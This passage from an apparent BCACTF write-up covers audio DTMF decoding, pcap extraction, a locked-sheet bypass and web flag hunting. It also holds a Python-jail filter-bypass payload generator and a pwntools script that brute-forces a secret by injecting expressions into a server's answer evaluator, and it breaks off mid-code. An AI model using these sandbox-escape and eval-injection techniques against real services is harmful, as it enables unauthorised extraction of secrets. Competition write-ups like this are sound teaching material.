decimal_indices = [int(hx, 16) for hx in hex_indices]

# Extract characters from the random garbage string
flag = ''.join(random_garbage[idx] for idx in decimal_indices)

# Wrap the flag in the proper format
formatted_flag = f"BCACTF{{{flag}}}"

print(formatted_flag)
# BCACTF{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}

Touch Tone Telephone (Revenge) (15 solves)

Description:

Well let's quickly patch out an unintended solvepath to the original challenge...

There, now go use your programming skills.

Even more of a headphone warning with this one, sorry.

Resources:

Static resources:output.wav

Solution:

Similar to previous one but twice the speed. Played around with settings until decoding was clean.

import numpy as np
import scipy.signal
from pydub import AudioSegment
from pydub.playback import play

# Define the DTMF frequencies
DTMF_FREQS = {
    '1': (697, 1209),
    '2': (697, 1336),
    '3': (697, 1477),
    'A': (697, 1633),
    '4': (770, 1209),
    '5': (770, 1336),
    '6': (770, 1477),
    'B': (770, 1633),
    '7': (852, 1209),
    '8': (852, 1336),
    '9': (852, 1477),
    'C': (852, 1633),
    '*': (941, 1209),
    '0': (941, 1336),
    '#': (941, 1477),
    'D': (941, 1633),
}

# Inverse map for quick lookup
FREQ_PAIR_TO_KEY = {v: k for k, v in DTMF_FREQS.items()}

# Load the audio file
audio = AudioSegment.from_wav("output.wav")

# Convert to mono
audio = audio.set_channels(1)

# Convert to numpy array
samples = np.array(audio.get_array_of_samples())

# Define the sample rate
sample_rate = audio.frame_rate

# Define the window size (in samples)
window_size = int(sample_rate * 0.04)  # ~16.7ms window (1/3 of the original 50ms)
step_size = int(sample_rate * 0.02)   # ~8.35ms step size (1/3 of the original 25ms)

# Initialize the detected tones string
detected_tones = ""

# Function to detect DTMF tone in a window of samples
def detect_dtmf_tone(window):
    # Perform FFT with increased nperseg for better frequency resolution
    freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=1024, noverlap=512, detrend=False, scaling='spectrum')
    Sx = np.log10(Sx + 1e-10)

    # Find peaks in the spectrum
    peak_indices = np.argsort(Sx.max(axis=1))[-2:]  # Get two highest peaks
    peak_freqs = sorted(freqs[peak_indices])

    # Check if peaks correspond to DTMF frequencies
    for (f1, f2), key in FREQ_PAIR_TO_KEY.items():
        if abs(f1 - peak_freqs[0]) < 15 and abs(f2 - peak_freqs[1]) < 15:  # Increased frequency tolerance
            return key
    return None

# Process the audio in windows
for start in range(0, len(samples) - window_size, step_size):
    window = samples[start:start + window_size]
    tone = detect_dtmf_tone(window)
    if tone:
        detected_tones += tone

# Print the output
print(detected_tones)
# Define the mapping in a dictionary
mapping = {
    '1': '0',
    '2': '1',
    '3': '2',
    'A': '3',
    '4': '4',
    '5': '5',
    '6': '6',
    'B': '7',
    '7': '8',
    '8': '9',
    '9': 'A',
    'C': 'B',
    '*': 'C',
    '0': 'D',
    '#': 'E',
    'D': 'F'
}

# Given encoded message
encoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A3A53#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7AAA43#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A4A13#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7ABA23#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6A53#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A4A33#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1663#19466DB3316A6762B331AAA33*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331AAAA3*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331AAA43*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA53*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331AAA63*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331AAAB3*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B331AAA73*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331AAA83*316B65B431686#6465B731A1B7A3A43#19466DB3316A6762B331A4A13*316B65B431686#6465B731A1B7AB633#19466DB3316A6762B331A4A23*316B65B431686#6465B731A1B7AA6A3#19466DB3316A6762B331A4A33*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4AA3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4A43*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331A4A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A4A63*316B65B431686#6465B731A1B7A4643#19466DB3316A6762B331A4AB3*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331A4A73*316B65B431686#6465B731A1B7A5663#19466DB3316A6762B331A4A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A5A13*316B65B431686#6465B731A1B7A6623#19466DB3316A6762B331A5A23*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A5A33*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5AA3*316B65B431686#6465B731A1B7A3A13#19466DB3316A6762B331A5A43*316B65B431686#6465B731A1B7A1A73#19466DB3316A6762B331A5A53*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A5A63*316B65B431686#6465B731A1B7ABA13#19466DB3316A6762B331A5AB3*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5A73*316B65B431686#6465B731A1B7A3643#19466DB3316A6762B331A5A83*316B65B431686#6465B731A1B7AAA23#19466DB3316A6762B331A6A13*316B65B431686#6465B731A1B7A6A43#19466DB3316A6762B331A6A23*316B65B431686#6465B731A1B7A4623#19466DB3316A6762B331A6A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6AA3*316B65B431686#6465B731A1B7A6643#19466DB3316A6762B331A6A43*316B65B431686#6465B731A1B7A16A3#19466DB3316A6762B331A6A53*316B65B431686#6465B731A1B7AB6A3#19466DB3316A6762B331A6A63*316B65B431686#6465B731A1B7A4A23#19466DB3316A6762B331A6AB3*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6A73*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331A6A83*316B65B431686#6465B731A1B7A5A63#19466DB3316A6762B331ABA13*316B65B431686#6465B731A1B7A2633#19466DB3316A6762B331ABA23*316B65B431686#6465B731A1B7ABA63#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#194BA74C53B5BBB258A35DBB4BA7B4A163A2666865514A4B6B516DA74740AA5663A24063B3B26*6#A465B7BAA168A4625D6*A55254B869644DB3B9694*684CB9A1B14AB3465745A26*685443B95A6B4B53525A6A5A685DA153BB595AA66747596A4D4*A56BA663A44#4D6*665D46AB6#B642B1404560A444B2B54249B5A8456*48"

# Decode the message
decoded_message = ''.join(mapping.get(char, char) for char in encoded_message)

print(decoded_message)
Decoded message:
Hello. Welcome to the BCACTF Helpline.
This call may be recorded for quality assurance purposes.

For char  0, get index 0x36.
For char  1, get index 0x0d.
For char  2, get index 0x74.
For char  3, get index 0x11.
For char  4, get index 0x2f.
For char  5, get index 0x26.
For char  6, get index 0x13.
For char  7, get index 0x0d.
For char  8, get index 0x25.
For char  9, get index 0x12.
For char 10, get index 0x11.
For char 11, get index 0x34.
For char 12, get index 0x55.
For char 13, get index 0x2e.
For char 14, get index 0x40.
For char 15, get index 0x71.
For char 16, get index 0x55.
For char 17, get index 0x65.
For char 18, get index 0x2e.
For char 19, get index 0x36.
For char 20, get index 0x09.
For char 21, get index 0x09.
For char 22, get index 0x12.
For char 23, get index 0x26.
For char 24, get index 0x0d.
For char 25, get index 0x13.
For char 26, get index 0x42.
For char 27, get index 0x26.
For char 28, get index 0x13.
For char 29, get index 0x0d.
For char 30, get index 0x6b.
For char 31, get index 0x0f.
For char 32, get index 0x2e.
For char 33, get index 0x36.
For char 34, get index 0x6b.
For char 35, get index 0x2f.
For char 36, get index 0x2c.
For char 37, get index 0x74.
For char 38, get index 0x09.
For char 39, get index 0x24.
For char 40, get index 0x7b.
For char 41, get index 0x3c.
For char 42, get index 0x0d.
For char 43, get index 0x0d.
For char 44, get index 0x2c.
For char 45, get index 0x26.
For char 46, get index 0x4d.
For char 47, get index 0x6b.
For char 48, get index 0x5f.
For char 49, get index 0x0d.
For char 50, get index 0x6a.
For char 51, get index 0x55.
For char 52, get index 0x2f.
For char 53, get index 0x20.
For char 54, get index 0x08.
For char 55, get index 0x1d.
For char 56, get index 0x70.
For char 57, get index 0x2f.
For char 58, get index 0x2d.
For char 59, get index 0x31.
For char 60, get index 0x64.
For char 61, get index 0x4a.
For char 62, get index 0x55.
For char 63, get index 0x6d.
For char 64, get index 0x0c.
For char 65, get index 0x7c.
For char 66, get index 0x41.
For char 67, get index 0x55.
For char 68, get index 0x53.
For char 69, get index 0x56.
For char 70, get index 0x1b.
For char 71, get index 0x76.


Please hold while we send you random garbage that you should index into to get the flag.
When you're finished, make sure to wrap the flag in the proper format.
G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI
# Given indices in hexadecimal
hex_indices = [
    "0x36", "0x0d", "0x74", "0x11", "0x2f", "0x26", "0x13", "0x0d",
    "0x25", "0x12", "0x11", "0x34", "0x55", "0x2e", "0x40", "0x71",
    "0x55", "0x65", "0x2e", "0x36", "0x09", "0x09", "0x12", "0x26",
    "0x0d", "0x13", "0x42", "0x26", "0x13", "0x0d", "0x6b", "0x0f",
    "0x2e", "0x36", "0x6b", "0x2f", "0x2c", "0x74", "0x09", "0x24",
    "0x7b", "0x3c", "0x0d", "0x0d", "0x2c", "0x26", "0x4d", "0x6b",
    "0x5f", "0x0d", "0x6a", "0x55", "0x2f", "0x20", "0x08", "0x1d",
    "0x70", "0x2f", "0x2d", "0x31", "0x64", "0x4a", "0x55", "0x6d",
    "0x0c", "0x7c", "0x41", "0x55", "0x53", "0x56", "0x1b", "0x76"
]

# The string to index into
random_garbage = "G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI"

# Convert hex indices to decimal
decimal_indices = [int(hx, 16) for hx in hex_indices]

# Extract characters from the random garbage string
flag = ''.join(random_garbage[idx] for idx in decimal_indices)

# Wrap the flag in the proper format
formatted_flag = f"bcactf{{{flag}}}"

print(formatted_flag)
# bcactf{dtmf_netlify_app_bad__internet_bad__im_quitting_ctf__123A_456B_789C_S0HD}

Wiretapped (20 solves)

Description:

I've been listening to this cable between two computers, but I feel like it's in the wrong format.

Resources:

Static resources:wiretapped.wav

Hints:

A certain type of file is embedded in the .wav file - see if you can extract itFamiliarize yourself with the application used to view the file

Solution:

Basically, it's a pcap starting from the 2nd line. Delete the first line to get the pcap, and then:

└─$ strings wiretapped.pcap                                                                                    130 β¨―
...
BxN$
hello there host computer 
6JRT
6JRT
hello there vm
(G      @
do you know what the flag is
6JRT
...
6JRT
yeah i think it starts with bcactf{
ok and the rest of it?
...
6JRT
uhh... listening_ ... i forgot the rest but i have it in an image somewhere, i'll send it to you

Get the image by looking at the pcap traffic, can follow stream once the bytes start then copy the raw to a file, trim the header.

bcactf{listening_in_a28270fb0dbfd}

Description:

Sequel to a challenge from BCACTF 4. The flag lies within: https://docs.google.com/spreadsheets/d/1kGrbQpZ4oUt0ChKvwGa4PDJQ1QvUl73Qpeo585vQ6s4/edit?usp=sharing

Hints:

Make a copy of the spreadsheet first.

Solution:

Can access the locked Sheet 2 by downloading the html version, then sort based on the 3rd column and save the least significant bits following the hint in the first row of sheet 2. Easy to do everything with vim so just did column sort, align, and ctrl+v block select, can build a script otherwise.

For reference: Lurking shadows, secrets play, Stealthy whispers on display. BITS aligned, LEAST in SIGht, Gleams of secrets, veiled in light.

Description:

Take a tour of the deep sea! Explore the depths of webpage secrets and find the hidden treasure. Pro tip: Zoom out!

Resources:

Web servers:challs.bcactf.com:31314

Hints:

Press F12 or Ctrl+Shift+I on Windows (Cmd+Option+I on Mac OS) to launch DevToolsSome parts have hints in the console

Solution:

I'm a bit surprised this has so many more solves than the others but basically just web stuff, flag parts hidden in javascript files and treasure isn't displayed but can be navigated to in url directly.

bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3}

Misc

JailBreak 2 (151 solves)

Description:

The prison has increased security measures since you last escaped it. Can you still manage to escape?

Resources:

Netcat Links:nc challs.bcactf.com 30335Static resources:main.py

Hints:

What in python is evaluated to a number?

Solution:

We have a limited character set: BANNED_CHARS = "gdvxfiyundmnet/\'~`@#$%^&.{}0123456789" One of the main functions available is locals() and running main.py locally with sanitized disabled, eventually I see we can print the flag in an error with locals()[locals()['flag']]. Since f and g banned, we need to create that, I built a converter to optimally convert strings to symbols. I optimized it to shorten the output length (creating 64 with 1<<7) so it would work for the revenge challenge.

def string_to_symbols(input_string):
    def convert_to_symbols(char):
        ascii_value = ord(char)
        base_value = 64
        base_pattern = '((()==())<<((()==())+(()==())+(()==())+(()==())+(()==())+(()==())))'
        if ascii_value >= 64:
            remaining_value = ascii_value - base_value
            symbols = f"chr({base_pattern}" + "+(()==())"*remaining_value + ")"
        else:
            symbols = "chr((()==())" + "+(()==())"*(ascii_value-1) + ")"
        return symbols
    result = '+'.join(convert_to_symbols(char) for char in input_string)
    return result
input_string = "flag"
output = string_to_symbols(input_string)
print(output)

Physics Test (94 solves)

Description:

Help me get an A in Physics! My teacher made this review program for us.

Resources:

Netcat Links:nc challs.bcactf.com 30586

Hints:

How is the program checking your answer? After all, it's possible to write a correct answer in multiple ways (e.g. x+y vs y+x vs 0+x+y, etc).What information/feedback do you get from each question? How can you use it to your advantage?

Solution:

There are three different questions the server can ask, and it's pretty clear that the solution won't be found by solving enough questions after a while, so we need to find a way to confirm knowledge about the flag in the correctness response. I built a script that will skip until the spring question is asked (answer is normally x * y), then multiply by the character value of a specific position of the flag and divide by a guess. Ran this until every character was guessed.

Question 4: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer: 
Trying payload: x*y*ord(flag[7])/121
Received response: Good job!

y
[*] Closed connection to challs.bcactf.com port 30586
Flag so far: bcactf{yxxxxxxxxxxxxxxxxxxxxxxxx}
[+] Opening connection to challs.bcactf.com on port 30586: Done
Received question: Welcome to the Midterm Review!
This review will test your knowledge of physics formulas we have learned this unit.
Be sure to write all of your answers in terms of x and y!


---------------------------------------------------------------------


Question 1: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer: 
Trying payload: x*y*ord(flag[8])/48
Received response: TEST FAILED!

[*] Closed connection to challs.bcactf.com port 30586
from pwn import *
import string

# Server connection details
HOST = 'challs.bcactf.com'
PORT = 30586

# Known format of the flag and its length
FLAG_FORMAT = 'bcactf{' + 'x'*25 + '}'
FLAG_LENGTH = len(FLAG_FORMAT)

# Function to connect to the server and answer questions
def get_flag_character(position):
    for char in string.printable:
        conn = remote(HOST, PORT)
        flag_character = None

        for i in range(100):  # Arbitrarily large number to ensure it finds the spring question
            question = conn.recvuntil(b'Answer: ')
            print(f"Received question: {question.decode()}")  # Debugging: print the question received

            if b'spring constant' in question:
                try:
                    # Calculate the payload
                    payload = f"x*y*ord(flag[{position}])/{ord(char)}"
                    print(f"Trying payload: {payload}")  # Debugging: print the payload being tried
                    conn.sendline(payload.encode())
                    response = conn.recvline(timeout=5)
                    response = conn.recvline(timeout=5)
                    print(f"Received response: {response.decode()}")  # Debugging: print the response received
                    if b'Good job!' in response:
                        flag_character = char
                        print(char)

                        break
                except Exception as e:
                    print(f"Error: {e}")  # Debugging: print any errors encountered
                    continue
                break
            elif b'box starts at rest' in question:
                conn.sendline(b"1/2*x*y*y")
            elif b'collide perfectly inelastically' in question:
                conn.sendline(b"(x+2*y)/3")
            else:
                conn.sendline(b'x')  # Answer other questions with 'x'

        conn.close()
        if flag_character:
            return flag_character
    return None

# Brute-force the flag character by character
def brute_force_flag():
    flag = list(FLAG_FORMAT)